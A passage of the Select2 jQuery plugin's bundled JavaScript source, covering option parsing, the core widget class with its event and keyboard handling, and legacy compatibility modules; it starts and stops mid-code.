this.options.dataAdapter,\r\n        InputCompat\r\n      );\r\n    }\r\n  }\r\n\r\n  Options.prototype.fromElement = function ($e) {\r\n    var excludedData = ['select2'];\r\n\r\n    if (this.options.multiple == null) {\r\n      this.options.multiple = $e.prop('multiple');\r\n    }\r\n\r\n    if (this.options.disabled == null) {\r\n      this.options.disabled = $e.prop('disabled');\r\n    }\r\n\r\n    if (this.options.language == null) {\r\n      if ($e.prop('lang')) {\r\n        this.options.language = $e.prop('lang').toLowerCase();\r\n      } else if ($e.closest('[lang]').prop('lang')) {\r\n        this.options.language = $e.closest('[lang]').prop('lang');\r\n      }\r\n    }\r\n\r\n    if (this.options.dir == null) {\r\n      if ($e.prop('dir')) {\r\n        this.options.dir = $e.prop('dir');\r\n      } else if ($e.closest('[dir]').prop('dir')) {\r\n        this.options.dir = $e.closest('[dir]').prop('dir');\r\n      } else {\r\n        this.options.dir = 'ltr';\r\n      }\r\n    }\r\n\r\n    $e.prop('disabled', this.options.disabled);\r\n    $e.prop('multiple', this.options.multiple);\r\n\r\n    if ($e.data('select2Tags')) {\r\n      if (this.options.debug && window.console && console.warn) {\r\n        console.warn(\r\n          'Select2: The `data-select2-tags` attribute has been changed to ' +\r\n          'use the `data-data` and `data-tags=\"true\"` attributes and will be ' +\r\n          'removed in future versions of Select2.'\r\n        );\r\n      }\r\n\r\n      $e.data('data', $e.data('select2Tags'));\r\n      $e.data('tags', true);\r\n    }\r\n\r\n    if ($e.data('ajaxUrl')) {\r\n      if (this.options.debug && window.console && console.warn) {\r\n        console.warn(\r\n          'Select2: The `data-ajax-url` attribute has been changed to ' +\r\n          '`data-ajax--url` and support for the old attribute will be removed' +\r\n          ' in future versions of Select2.'\r\n        );\r\n      }\r\n\r\n      $e.attr('ajax--url', $e.data('ajaxUrl'));\r\n      $e.data('ajax--url', $e.data('ajaxUrl'));\r\n    }\r\n\r\n    var dataset = {};\r\n\r\n    // Prefer the element's `dataset` attribute if it exists\r\n    // jQuery 1.x does not correctly handle data attributes with multiple dashes\r\n    if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) {\r\n      dataset = $.extend(true, {}, $e[0].dataset, $e.data());\r\n    } else {\r\n      dataset = $e.data();\r\n    }\r\n\r\n    var data = $.extend(true, {}, dataset);\r\n\r\n    data = Utils._convertData(data);\r\n\r\n    for (var key in data) {\r\n      if ($.inArray(key, excludedData) > -1) {\r\n        continue;\r\n      }\r\n\r\n      if ($.isPlainObject(this.options[key])) {\r\n        $.extend(this.options[key], data[key]);\r\n      } else {\r\n        this.options[key] = data[key];\r\n      }\r\n    }\r\n\r\n    return this;\r\n  };\r\n\r\n  Options.prototype.get = function (key) {\r\n    return this.options[key];\r\n  };\r\n\r\n  Options.prototype.set = function (key, val) {\r\n    this.options[key] = val;\r\n  };\r\n\r\n  return Options;\r\n});\r\n\r\nS2.define('select2/core',[\r\n  'jquery',\r\n  './options',\r\n  './utils',\r\n  './keys'\r\n], function ($, Options, Utils, KEYS) {\r\n  var Select2 = function ($element, options) {\r\n    if ($element.data('select2') != null) {\r\n      $element.data('select2').destroy();\r\n    }\r\n\r\n    this.$element = $element;\r\n\r\n    this.id = this._generateId($element);\r\n\r\n    options = options || {};\r\n\r\n    this.options = new Options(options, $element);\r\n\r\n    Select2.__super__.constructor.call(this);\r\n\r\n    // Set up the tabindex\r\n\r\n    var tabindex = $element.attr('tabindex') || 0;\r\n    $element.data('old-tabindex', tabindex);\r\n    $element.attr('tabindex', '-1');\r\n\r\n    // Set up containers and adapters\r\n\r\n    var DataAdapter = this.options.get('dataAdapter');\r\n    this.dataAdapter = new DataAdapter($element, this.options);\r\n\r\n    var $container = this.render();\r\n\r\n    this._placeContainer($container);\r\n\r\n    var SelectionAdapter = this.options.get('selectionAdapter');\r\n    this.selection = new SelectionAdapter($element, this.options);\r\n    this.$selection = this.selection.render();\r\n\r\n    this.selection.position(this.$selection, $container);\r\n\r\n    var DropdownAdapter = this.options.get('dropdownAdapter');\r\n    this.dropdown = new DropdownAdapter($element, this.options);\r\n    this.$dropdown = this.dropdown.render();\r\n\r\n    this.dropdown.position(this.$dropdown, $container);\r\n\r\n    var ResultsAdapter = this.options.get('resultsAdapter');\r\n    this.results = new ResultsAdapter($element, this.options, this.dataAdapter);\r\n    this.$results = this.results.render();\r\n\r\n    this.results.position(this.$results, this.$dropdown);\r\n\r\n    // Bind events\r\n\r\n    var self = this;\r\n\r\n    // Bind the container to all of the adapters\r\n    this._bindAdapters();\r\n\r\n    // Register any DOM event handlers\r\n    this._registerDomEvents();\r\n\r\n    // Register any internal event handlers\r\n    this._registerDataEvents();\r\n    this._registerSelectionEvents();\r\n    this._registerDropdownEvents();\r\n    this._registerResultsEvents();\r\n    this._registerEvents();\r\n\r\n    // Set the initial state\r\n    this.dataAdapter.current(function (initialData) {\r\n      self.trigger('selection:update', {\r\n        data: initialData\r\n      });\r\n    });\r\n\r\n    // Hide the original select\r\n    $element.addClass('select2-hidden-accessible');\r\n    $element.attr('aria-hidden', 'true');\r\n\r\n    // Synchronize any monitored attributes\r\n    this._syncAttributes();\r\n\r\n    $element.data('select2', this);\r\n  };\r\n\r\n  Utils.Extend(Select2, Utils.Observable);\r\n\r\n  Select2.prototype._generateId = function ($element) {\r\n    var id = '';\r\n\r\n    if ($element.attr('id') != null) {\r\n      id = $element.attr('id');\r\n    } else if ($element.attr('name') != null) {\r\n      id = $element.attr('name') + '-' + Utils.generateChars(2);\r\n    } else {\r\n      id = Utils.generateChars(4);\r\n    }\r\n\r\n    id = id.replace(/(:|\\.|\\[|\\]|,)/g, '');\r\n    id = 'select2-' + id;\r\n\r\n    return id;\r\n  };\r\n\r\n  Select2.prototype._placeContainer = function ($container) {\r\n    $container.insertAfter(this.$element);\r\n\r\n    var width = this._resolveWidth(this.$element, this.options.get('width'));\r\n\r\n    if (width != null) {\r\n      $container.css('width', width);\r\n    }\r\n  };\r\n\r\n  Select2.prototype._resolveWidth = function ($element, method) {\r\n    var WIDTH = /^width:(([-+]?([0-9]*\\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;\r\n\r\n    if (method == 'resolve') {\r\n      var styleWidth = this._resolveWidth($element, 'style');\r\n\r\n      if (styleWidth != null) {\r\n        return styleWidth;\r\n      }\r\n\r\n      return this._resolveWidth($element, 'element');\r\n    }\r\n\r\n    if (method == 'element') {\r\n      var elementWidth = $element.outerWidth(false);\r\n\r\n      if (elementWidth <= 0) {\r\n        return 'auto';\r\n      }\r\n\r\n      return elementWidth + 'px';\r\n    }\r\n\r\n    if (method == 'style') {\r\n      var style = $element.attr('style');\r\n\r\n      if (typeof(style) !== 'string') {\r\n        return null;\r\n      }\r\n\r\n      var attrs = style.split(';');\r\n\r\n      for (var i = 0, l = attrs.length; i < l; i = i + 1) {\r\n        var attr = attrs[i].replace(/\\s/g, '');\r\n        var matches = attr.match(WIDTH);\r\n\r\n        if (matches !== null && matches.length >= 1) {\r\n          return matches[1];\r\n        }\r\n      }\r\n\r\n      return null;\r\n    }\r\n\r\n    return method;\r\n  };\r\n\r\n  Select2.prototype._bindAdapters = function () {\r\n    this.dataAdapter.bind(this, this.$container);\r\n    this.selection.bind(this, this.$container);\r\n\r\n    this.dropdown.bind(this, this.$container);\r\n    this.results.bind(this, this.$container);\r\n  };\r\n\r\n  Select2.prototype._registerDomEvents = function () {\r\n    var self = this;\r\n\r\n    this.$element.on('change.select2', function () {\r\n      self.dataAdapter.current(function (data) {\r\n        self.trigger('selection:update', {\r\n          data: data\r\n        });\r\n      });\r\n    });\r\n\r\n    this.$element.on('focus.select2', function (evt) {\r\n      self.trigger('focus', evt);\r\n    });\r\n\r\n    this._syncA = Utils.bind(this._syncAttributes, this);\r\n    this._syncS = Utils.bind(this._syncSubtree, this);\r\n\r\n    if (this.$element[0].attachEvent) {\r\n      this.$element[0].attachEvent('onpropertychange', this._syncA);\r\n    }\r\n\r\n    var observer = window.MutationObserver ||\r\n      window.WebKitMutationObserver ||\r\n      window.MozMutationObserver\r\n    ;\r\n\r\n    if (observer != null) {\r\n      this._observer = new observer(function (mutations) {\r\n        $.each(mutations, self._syncA);\r\n        $.each(mutations, self._syncS);\r\n      });\r\n      this._observer.observe(this.$element[0], {\r\n        attributes: true,\r\n        childList: true,\r\n        subtree: false\r\n      });\r\n    } else if (this.$element[0].addEventListener) {\r\n      this.$element[0].addEventListener(\r\n        'DOMAttrModified',\r\n        self._syncA,\r\n        false\r\n      );\r\n      this.$element[0].addEventListener(\r\n        'DOMNodeInserted',\r\n        self._syncS,\r\n        false\r\n      );\r\n      this.$element[0].addEventListener(\r\n        'DOMNodeRemoved',\r\n        self._syncS,\r\n        false\r\n      );\r\n    }\r\n  };\r\n\r\n  Select2.prototype._registerDataEvents = function () {\r\n    var self = this;\r\n\r\n    this.dataAdapter.on('*', function (name, params) {\r\n      self.trigger(name, params);\r\n    });\r\n  };\r\n\r\n  Select2.prototype._registerSelectionEvents = function () {\r\n    var self = this;\r\n    var nonRelayEvents = ['toggle', 'focus'];\r\n\r\n    this.selection.on('toggle', function () {\r\n      self.toggleDropdown();\r\n    });\r\n\r\n    this.selection.on('focus', function (params) {\r\n      self.focus(params);\r\n    });\r\n\r\n    this.selection.on('*', function (name, params) {\r\n      if ($.inArray(name, nonRelayEvents) !== -1) {\r\n        return;\r\n      }\r\n\r\n      self.trigger(name, params);\r\n    });\r\n  };\r\n\r\n  Select2.prototype._registerDropdownEvents = function () {\r\n    var self = this;\r\n\r\n    this.dropdown.on('*', function (name, params) {\r\n      self.trigger(name, params);\r\n    });\r\n  };\r\n\r\n  Select2.prototype._registerResultsEvents = function () {\r\n    var self = this;\r\n\r\n    this.results.on('*', function (name, params) {\r\n      self.trigger(name, params);\r\n    });\r\n  };\r\n\r\n  Select2.prototype._registerEvents = function () {\r\n    var self = this;\r\n\r\n    this.on('open', function () {\r\n      self.$container.addClass('select2-container--open');\r\n    });\r\n\r\n    this.on('close', function () {\r\n      self.$container.removeClass('select2-container--open');\r\n    });\r\n\r\n    this.on('enable', function () {\r\n      self.$container.removeClass('select2-container--disabled');\r\n    });\r\n\r\n    this.on('disable', function () {\r\n      self.$container.addClass('select2-container--disabled');\r\n    });\r\n\r\n    this.on('blur', function () {\r\n      self.$container.removeClass('select2-container--focus');\r\n    });\r\n\r\n    this.on('query', function (params) {\r\n      if (!self.isOpen()) {\r\n        self.trigger('open', {});\r\n      }\r\n\r\n      this.dataAdapter.query(params, function (data) {\r\n        self.trigger('results:all', {\r\n          data: data,\r\n          query: params\r\n        });\r\n      });\r\n    });\r\n\r\n    this.on('query:append', function (params) {\r\n      this.dataAdapter.query(params, function (data) {\r\n        self.trigger('results:append', {\r\n          data: data,\r\n          query: params\r\n        });\r\n      });\r\n    });\r\n\r\n    this.on('keypress', function (evt) {\r\n      var key = evt.which;\r\n\r\n      if (self.isOpen()) {\r\n        if (key === KEYS.ESC || key === KEYS.TAB ||\r\n            (key === KEYS.UP && evt.altKey)) {\r\n          self.close();\r\n\r\n          evt.preventDefault();\r\n        } else if (key === KEYS.ENTER) {\r\n          self.trigger('results:select', {});\r\n\r\n          evt.preventDefault();\r\n        } else if ((key === KEYS.SPACE && evt.ctrlKey)) {\r\n          self.trigger('results:toggle', {});\r\n\r\n          evt.preventDefault();\r\n        } else if (key === KEYS.UP) {\r\n          self.trigger('results:previous', {});\r\n\r\n          evt.preventDefault();\r\n        } else if (key === KEYS.DOWN) {\r\n          self.trigger('results:next', {});\r\n\r\n          evt.preventDefault();\r\n        }\r\n      } else {\r\n        if (key === KEYS.ENTER || key === KEYS.SPACE ||\r\n            (key === KEYS.DOWN && evt.altKey)) {\r\n          self.open();\r\n\r\n          evt.preventDefault();\r\n        }\r\n      }\r\n    });\r\n  };\r\n\r\n  Select2.prototype._syncAttributes = function () {\r\n    this.options.set('disabled', this.$element.prop('disabled'));\r\n\r\n    if (this.options.get('disabled')) {\r\n      if (this.isOpen()) {\r\n        this.close();\r\n      }\r\n\r\n      this.trigger('disable', {});\r\n    } else {\r\n      this.trigger('enable', {});\r\n    }\r\n  };\r\n\r\n  Select2.prototype._syncSubtree = function (evt, mutations) {\r\n    var changed = false;\r\n    var self = this;\r\n\r\n    // Ignore any mutation events raised for elements that aren't options or\r\n    // optgroups. This handles the case when the select element is destroyed\r\n    if (\r\n      evt && evt.target && (\r\n        evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP'\r\n      )\r\n    ) {\r\n      return;\r\n    }\r\n\r\n    if (!mutations) {\r\n      // If mutation events aren't supported, then we can only assume that the\r\n      // change affected the selections\r\n      changed = true;\r\n    } else if (mutations.addedNodes && mutations.addedNodes.length > 0) {\r\n      for (var n = 0; n < mutations.addedNodes.length; n++) {\r\n        var node = mutations.addedNodes[n];\r\n\r\n        if (node.selected) {\r\n          changed = true;\r\n        }\r\n      }\r\n    } else if (mutations.removedNodes && mutations.removedNodes.length > 0) {\r\n      changed = true;\r\n    }\r\n\r\n    // Only re-pull the data if we think there is a change\r\n    if (changed) {\r\n      this.dataAdapter.current(function (currentData) {\r\n        self.trigger('selection:update', {\r\n          data: currentData\r\n        });\r\n      });\r\n    }\r\n  };\r\n\r\n  /**\r\n   * Override the trigger method to automatically trigger pre-events when\r\n   * there are events that can be prevented.\r\n   */\r\n  Select2.prototype.trigger = function (name, args) {\r\n    var actualTrigger = Select2.__super__.trigger;\r\n    var preTriggerMap = {\r\n      'open': 'opening',\r\n      'close': 'closing',\r\n      'select': 'selecting',\r\n      'unselect': 'unselecting'\r\n    };\r\n\r\n    if (args === undefined) {\r\n      args = {};\r\n    }\r\n\r\n    if (name in preTriggerMap) {\r\n      var preTriggerName = preTriggerMap[name];\r\n      var preTriggerArgs = {\r\n        prevented: false,\r\n        name: name,\r\n        args: args\r\n      };\r\n\r\n      actualTrigger.call(this, preTriggerName, preTriggerArgs);\r\n\r\n      if (preTriggerArgs.prevented) {\r\n        args.prevented = true;\r\n\r\n        return;\r\n      }\r\n    }\r\n\r\n    actualTrigger.call(this, name, args);\r\n  };\r\n\r\n  Select2.prototype.toggleDropdown = function () {\r\n    if (this.options.get('disabled')) {\r\n      return;\r\n    }\r\n\r\n    if (this.isOpen()) {\r\n      this.close();\r\n    } else {\r\n      this.open();\r\n    }\r\n  };\r\n\r\n  Select2.prototype.open = function () {\r\n    if (this.isOpen()) {\r\n      return;\r\n    }\r\n\r\n    this.trigger('query', {});\r\n  };\r\n\r\n  Select2.prototype.close = function () {\r\n    if (!this.isOpen()) {\r\n      return;\r\n    }\r\n\r\n    this.trigger('close', {});\r\n  };\r\n\r\n  Select2.prototype.isOpen = function () {\r\n    return this.$container.hasClass('select2-container--open');\r\n  };\r\n\r\n  Select2.prototype.hasFocus = function () {\r\n    return this.$container.hasClass('select2-container--focus');\r\n  };\r\n\r\n  Select2.prototype.focus = function (data) {\r\n    // No need to re-trigger focus events if we are already focused\r\n    if (this.hasFocus()) {\r\n      return;\r\n    }\r\n\r\n    this.$container.addClass('select2-container--focus');\r\n    this.trigger('focus', {});\r\n  };\r\n\r\n  Select2.prototype.enable = function (args) {\r\n    if (this.options.get('debug') && window.console && console.warn) {\r\n      console.warn(\r\n        'Select2: The `select2(\"enable\")` method has been deprecated and will' +\r\n        ' be removed in later Select2 versions. Use $element.prop(\"disabled\")' +\r\n        ' instead.'\r\n      );\r\n    }\r\n\r\n    if (args == null || args.length === 0) {\r\n      args = [true];\r\n    }\r\n\r\n    var disabled = !args[0];\r\n\r\n    this.$element.prop('disabled', disabled);\r\n  };\r\n\r\n  Select2.prototype.data = function () {\r\n    if (this.options.get('debug') &&\r\n        arguments.length > 0 && window.console && console.warn) {\r\n      console.warn(\r\n        'Select2: Data can no longer be set using `select2(\"data\")`. You ' +\r\n        'should consider setting the value instead using `$element.val()`.'\r\n      );\r\n    }\r\n\r\n    var data = [];\r\n\r\n    this.dataAdapter.current(function (currentData) {\r\n      data = currentData;\r\n    });\r\n\r\n    return data;\r\n  };\r\n\r\n  Select2.prototype.val = function (args) {\r\n    if (this.options.get('debug') && window.console && console.warn) {\r\n      console.warn(\r\n        'Select2: The `select2(\"val\")` method has been deprecated and will be' +\r\n        ' removed in later Select2 versions. Use $element.val() instead.'\r\n      );\r\n    }\r\n\r\n    if (args == null || args.length === 0) {\r\n      return this.$element.val();\r\n    }\r\n\r\n    var newVal = args[0];\r\n\r\n    if ($.isArray(newVal)) {\r\n      newVal = $.map(newVal, function (obj) {\r\n        return obj.toString();\r\n      });\r\n    }\r\n\r\n    this.$element.val(newVal).trigger('change');\r\n  };\r\n\r\n  Select2.prototype.destroy = function () {\r\n    this.$container.remove();\r\n\r\n    if (this.$element[0].detachEvent) {\r\n      this.$element[0].detachEvent('onpropertychange', this._syncA);\r\n    }\r\n\r\n    if (this._observer != null) {\r\n      this._observer.disconnect();\r\n      this._observer = null;\r\n    } else if (this.$element[0].removeEventListener) {\r\n      this.$element[0]\r\n        .removeEventListener('DOMAttrModified', this._syncA, false);\r\n      this.$element[0]\r\n        .removeEventListener('DOMNodeInserted', this._syncS, false);\r\n      this.$element[0]\r\n        .removeEventListener('DOMNodeRemoved', this._syncS, false);\r\n    }\r\n\r\n    this._syncA = null;\r\n    this._syncS = null;\r\n\r\n    this.$element.off('.select2');\r\n    this.$element.attr('tabindex', this.$element.data('old-tabindex'));\r\n\r\n    this.$element.removeClass('select2-hidden-accessible');\r\n    this.$element.attr('aria-hidden', 'false');\r\n    this.$element.removeData('select2');\r\n\r\n    this.dataAdapter.destroy();\r\n    this.selection.destroy();\r\n    this.dropdown.destroy();\r\n    this.results.destroy();\r\n\r\n    this.dataAdapter = null;\r\n    this.selection = null;\r\n    this.dropdown = null;\r\n    this.results = null;\r\n  };\r\n\r\n  Select2.prototype.render = function () {\r\n    var $container = $(\r\n      '<span class=\"select2 select2-container\">' +\r\n        '<span class=\"selection\"></span>' +\r\n        '<span class=\"dropdown-wrapper\" aria-hidden=\"true\"></span>' +\r\n      '</span>'\r\n    );\r\n\r\n    $container.attr('dir', this.options.get('dir'));\r\n\r\n    this.$container = $container;\r\n\r\n    this.$container.addClass('select2-container--' + this.options.get('theme'));\r\n\r\n    $container.data('element', this.$element);\r\n\r\n    return $container;\r\n  };\r\n\r\n  return Select2;\r\n});\r\n\r\nS2.define('select2/compat/utils',[\r\n  'jquery'\r\n], function ($) {\r\n  function syncCssClasses ($dest, $src, adapter) {\r\n    var classes, replacements = [], adapted;\r\n\r\n    classes = $.trim($dest.attr('class'));\r\n\r\n    if (classes) {\r\n      classes = '' + classes; // for IE which returns object\r\n\r\n      $(classes.split(/\\s+/)).each(function () {\r\n        // Save all Select2 classes\r\n        if (this.indexOf('select2-') === 0) {\r\n          replacements.push(this);\r\n        }\r\n      });\r\n    }\r\n\r\n    classes = $.trim($src.attr('class'));\r\n\r\n    if (classes) {\r\n      classes = '' + classes; // for IE which returns object\r\n\r\n      $(classes.split(/\\s+/)).each(function () {\r\n        // Only adapt non-Select2 classes\r\n        if (this.indexOf('select2-') !== 0) {\r\n          adapted = adapter(this);\r\n\r\n          if (adapted != null) {\r\n            replacements.push(adapted);\r\n          }\r\n        }\r\n      });\r\n    }\r\n\r\n    $dest.attr('class', replacements.join(' '));\r\n  }\r\n\r\n  return {\r\n    syncCssClasses: syncCssClasses\r\n  };\r\n});\r\n\r\nS2.define('select2/compat/containerCss',[\r\n  'jquery',\r\n  './utils'\r\n], function ($, CompatUtils) {\r\n  // No-op CSS adapter that discards all classes by default\r\n  function _containerAdapter (clazz) {\r\n    return null;\r\n  }\r\n\r\n  function ContainerCSS () { }\r\n\r\n  ContainerCSS.prototype.render = function (decorated) {\r\n    var $container = decorated.call(this);\r\n\r\n    var containerCssClass = this.options.get('containerCssClass') || '';\r\n\r\n    if ($.isFunction(containerCssClass)) {\r\n      containerCssClass = containerCssClass(this.$element);\r\n    }\r\n\r\n    var containerCssAdapter = this.options.get('adaptContainerCssClass');\r\n    containerCssAdapter = containerCssAdapter || _containerAdapter;\r\n\r\n    if (containerCssClass.indexOf(':all:') !== -1) {\r\n      containerCssClass = containerCssClass.replace(':all:', '');\r\n\r\n      var _cssAdapter = containerCssAdapter;\r\n\r\n      containerCssAdapter = function (clazz) {\r\n        var adapted = _cssAdapter(clazz);\r\n\r\n        if (adapted != null) {\r\n          // Append the old one along with the adapted one\r\n          return adapted + ' ' + clazz;\r\n        }\r\n\r\n        return clazz;\r\n      };\r\n    }\r\n\r\n    var containerCss = this.options.get('containerCss') || {};\r\n\r\n    if ($.isFunction(containerCss)) {\r\n      containerCss = containerCss(this.$element);\r\n    }\r\n\r\n    CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter);\r\n\r\n    $container.css(containerCss);\r\n    $container.addClass(containerCssClass);\r\n\r\n    return $container;\r\n  };\r\n\r\n  return ContainerCSS;\r\n});\r\n\r\nS2.define('select2/compat/dropdownCss',[\r\n  'jquery',\r\n  './utils'\r\n], function ($, CompatUtils) {\r\n  // No-op CSS adapter that discards all classes by default\r\n  function _dropdownAdapter (clazz) {\r\n    return null;\r\n  }\r\n\r\n  function DropdownCSS () { }\r\n\r\n  DropdownCSS.prototype.render = function (decorated) {\r\n    var $dropdown = decorated.call(this);\r\n\r\n    var dropdownCssClass = this.options.get('dropdownCssClass') || '';\r\n\r\n    if ($.isFunction(dropdownCssClass)) {\r\n      dropdownCssClass = dropdownCssClass(this.$element);\r\n    }\r\n\r\n    var dropdownCssAdapter = this.options.get('adaptDropdownCssClass');\r\n    dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter;\r\n\r\n    if (dropdownCssClass.indexOf(':all:') !== -1) {\r\n      dropdownCssClass = dropdownCssClass.replace(':all:', '');\r\n\r\n      var _cssAdapter = dropdownCssAdapter;\r\n\r\n      dropdownCssAdapter = function (clazz) {\r\n        var adapted = _cssAdapter(clazz);\r\n\r\n        if (adapted != null) {\r\n          // Append the old one along with the adapted one\r\n          return adapted + ' ' + clazz;\r\n        }\r\n\r\n        return clazz;\r\n      };\r\n    }\r\n\r\n    var dropdownCss = this.options.get('dropdownCss') || {};\r\n\r\n    if ($.isFunction(dropdownCss)) {\r\n      dropdownCss = dropdownCss(this.$element);\r\n    }\r\n\r\n    CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter);\r\n\r\n    $dropdown.css(dropdownCss);\r\n    $dropdown.addClass(dropdownCssClass);\r\n\r\n    return $dropdown;\r\n  };\r\n\r\n  return DropdownCSS;\r\n});\r\n\r\nS2.define('select2/compat/initSelection',[\r\n  'jquery'\r\n], function ($) {\r\n  function InitSelection (decorated, $element, options) {\r\n    if (options.get('debug') && window.console && console.warn) {\r\n      console.warn(\r\n        'Select2: The `initSelection` option has been deprecated in favor' +\r\n        ' of a custom data adapter that overrides the `current` method. ' +\r\n        'This method is now called multiple times instead of a single ' +\r\n        'time when the instance is initialized. Support will be removed ' +\r\n        'for the `initSelection` option in future versions of Select2'\r\n      );\r\n    }\r\n\r\n    this.initSelection = options.get('initSelection');\r\n    this._isInitialized = false;\r\n\r\n    decorated.call(this, $element, options);\r\n  }\r\n\r\n  InitSelection.prototype.current = function (decorated, callback) {\r\n    var self = this;\r\n\r\n    if (this._isInitialized) {\r\n      decorated.call(this, callback);\r\n\r\n      return;\r\n    }\r\n\r\n    this.initSelection.call(null, this.$element, function (data) {\r\n      self._isInitialized = true;\r\n\r\n      if (!$.isArray(data)) {\r\n        data = [data];\r\n      }\r\n\r\n      callback(data);\r\n    });\r\n  };\r\n\r\n  return InitSelection;\r\n});\r\n\r\nS2.define('select2/compat/inputData',[\r\n  'jquery'\r\n], function ($) {\r\n  function InputData (decorated, $element, options) {\r\n    this._currentData = [];\r\n    this._valueSeparator = options.get('valueSeparator') || ',';\r\n\r\n    if ($element.prop('type') === 'hidden') {\r\n      if (options.get('debug') && console && console.warn) {\r\n        console.warn(\r\n          'Select2: Using a hidden input with Select2 is no longer ' +\r\n          'supported and may stop working in the future. It is recommended ' +\r\n          'to use a `<select>` element instead.'\r\n        );\r\n      }\r\n    }\r\n\r\n    decorated.call(this, $element, options);\r\n  }\r\n\r\n  InputData.prototype.current = function (_, callback) {\r\n    function getSelected (data, selectedIds) {\r\n      var selected = [];\r\n\r\n      if (data.selected || $.inArray(data.id, selectedIds) !== -1) {\r\n        data.selected = true;\r\n        selected.push(data);\r\n      } else {\r\n        data.selected = false;\r\n      }\r\n\r\n      if (data.children) {\r\n        selected.push.apply(selected, getSelected(data.children, selectedIds));\r\n      }\r\n\r\n      return selected;\r\n    }\r\n\r\n    var selected = [];\r\n\r\n    for (var d = 0; d < this._currentData.length; d++) {\r\n      var data = this._currentData[d];\r\n\r\n      selected.push.apply(\r\n        selected,\r\n        getSelected(\r\n          data,\r\n          this.$element.val().split(\r\n            this._valueSeparator\r\n          )\r\n        )\r\n      );\r\n    }\r\n\r\n    callback(selected);\r\n  };\r\n\r\n  InputData.prototype.select = function (_, data) {\r\n    if (!this.options.get('multiple')) {\r\n      this.current(function (allData) {\r\n        $.map(allData, function (data) {\r\n          data.selected = false;\r\n        });\r\n      });\r\n\r\n      this.$element.val(data.id);\r\n      this.$element.trigger('change');\r\n    } else {\r\n      var value = this.$element.val();\r\n      value += this._valueSeparator + data.id;\r\n\r\n      this.$element.val(value);\r\n      this.$element.trigger('change');\r\n    }\r\n  };\r\n\r\n  InputData.prototype.unselect = function (_, data) {\r\n    var self = this;\r\n\r\n    data.selected = false;\r\n\r\n    this.current(function (allData) {\r\n      var values = [];\r\n\r\n      for (var d = 0; d < allData.length; d++) {\r\n        var item = allData[d];\r\n\r\n        if (data.id == item.id) {\r\n          continue;\r\n        }\r\n\r\n        values.push(item.id);\r\n      }\r\n\r\n      self.$element.val(values.join(self._valueSeparator));\r\n      self.$element.trigger('change');\r\n    });\r\n  };\r\n\r\n  InputData.prototype.query = function (_, params, callback) {\r\n    var results = [];\r\n\r\n    for (var d = 0; d < this._currentData.length; d++) {\r\n      var data = this._currentData[d];\r\n\r\n      var matches = this.matches(params, data);\r\n\r\n      if (matches !== null) {\r\n        results.push(matches);\r\n      }\r\n    }\r\n\r\n    callback({\r\n      results: results\r\n    });\r\n  };\r\n\r\n  InputData.prototype.addOptions = function (_, $options) {\r\n    var options = $.map($options, function ($option) {\r\n      return $.data($option[0], 'data');\r\n    });\r\n\r\n    this._currentData.push.apply(this._currentData, options);\r\n  };\r\n\r\n  return InputData;\r\n});\r\n\r\nS2.define('select2/compat/matcher',[\r\n  'jquery'\r\n], function ($) {\r\n  function oldMatcher (matcher) {\r\n    function wrappedMatcher (params, data) {\r\n      var match = $.extend(true, {}, data);\r\n\r\n      if (params.term == null || $.trim(params.term) === '') {\r\n        return match;\r\n      }\r\n\r\n      if (data.children) {\r\n        for (var c = data.children.length - 1; c >= 0; c--) {\r\n          var child = data.children[c];\r\n\r\n          // Check if the child object matches\r\n          // The old matcher returned a boolean true or false\r\n          var doesMatch = matcher(params.term, child.text, child);\r\n\r\n          // If the child didn't match, pop it off\r\n          if (!doesMatch) {\r\n            match.children.splice(c, 1);\r\n          }\r\n        }\r\n\r\n        if (match.children.length > 0) {\r\n          return match;\r\n        }\r\n      }\r\n\r\n      if (matcher(params.term, data.text, data)) {\r\n        return match;\r\n      }\r\n\r\n      return null;\r\n    }\r\n\r\n    return wrappedMatcher;\r\n  }\r\n\r\n  return oldMatcher;\r\n});\r\n\r\nS2.define('select2/compat/query',[\r\n\r\n], function () {\r\n  function Query (decorated, $element, options) {\r\n    if (options.get('debug') && window.console && console.warn) {\r\n      console.warn(\r\n        'Select2: The `query` option has been deprecated in favor of a ' +\r\n        'custom data adapter that overrides the `query` method. Support ' +\r\n        'will be removed for the `query` option in future versions of ' +\r\n        'Select2.'\r\n      );\r\n    }\r\n\r\n    decorated.call(this, $element, options);\r\n  }\r\n\r\n  Query.prototype.query = function (_, params, callback) {\r\n    params.callback = callback;\r\n\r\n    var query = this.options.get('query');\r\n\r\n    query.call(null, params);\r\n  };\r\n\r\n  return Query;\r\n});\r\n\r\nS2.define('select2/dropdown/attachContainer',[\r\n\r\n], function () {\r\n  function AttachContainer (decorated, $element, options) {\r\n    decorated.call(this, $element, options);\r\n  }\r\n\r\n  AttachContainer.prototype.position =\r\n    function (decorated, $dropdown, $container) {\r\n    var $dropdownContainer = $container.find('.dropdown-wrapper');\r\n    $dropdownContainer.append($dropdown);\r\n\r\n    $dropdown.addClass('select2-dropdown--below');\r\n    $container.addClass('select2-container--below');\r\n  };\r\n\r\n  return AttachContainer;\r\n});\r\n\r\nS2.define('select2/dropdown/stopPropagation',[\r\n\r\n], function () {\r\n  function StopPropagation () { }\r\n\r\n  StopPropagation.prototype.bind = function (decorated, container, $container) {\r\n    decorated.call(this, container, $container);\r\n\r\n    var stoppedEvents = [\r\n    'blur',\r\n    'change',\r\n    'click',\r\n    'dblclick',\r\n    'focus',\r\n    'focusin',\r\n    'focusout',\r\n    'input',\r\n    'keydown',\r\n    'keyup',\r\n    'keypress',\r\n    'mousedown',\r\n    'mouseenter',\r\n    'mouseleave',\r\n    'mousemove',\r\n    'mouseover',\r\n    'mouseup',\r\n    'search',\r\n    'touchend',\r\n    'touchstart'\r\n    ];\r\n\r\n    this.$dropdown.on(stoppedEvents.join(' '), function (evt) {\r\n      evt.stopPropagation();\r\n    });\r\n  };\r\n\r\n  return StopPropagation;\r\n});\r\n\r\nS2.define('select2/selection/stopPropagation',[\r\n\r\n], function () {\r\n  function StopPropagation () { }\r\n\r\n  StopPropagation.prototype.bind = function (decorated, container, $container) {\r\n    decorated.call(this, container, $container);\r\n    var stoppedEvents = [\r\n      'blur',\r\n      'change',\r\n      'click',\r\n      'dblclick',\r\n      'focus',\r\n      